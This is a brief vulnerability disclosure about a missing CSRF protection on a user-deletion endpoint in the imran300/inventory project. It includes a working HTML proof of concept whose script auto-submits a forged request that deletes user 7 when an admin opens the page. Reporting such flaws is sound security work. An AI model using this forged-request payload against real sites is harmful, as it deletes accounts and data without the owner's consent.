Cross-Site Request Forgery (CSRF) in imran300/inventory
Reported on
Sep 4th 2021
✍️ Description
You didn't set any CSRF protection for deleting a user.
🕵️♂️ Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/inventory/users/delete_users/7">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
After that admin open the PoC.html file the user with id 7 will be deleted.
💥 Impact
This vulnerability is capable of delete any user with on click.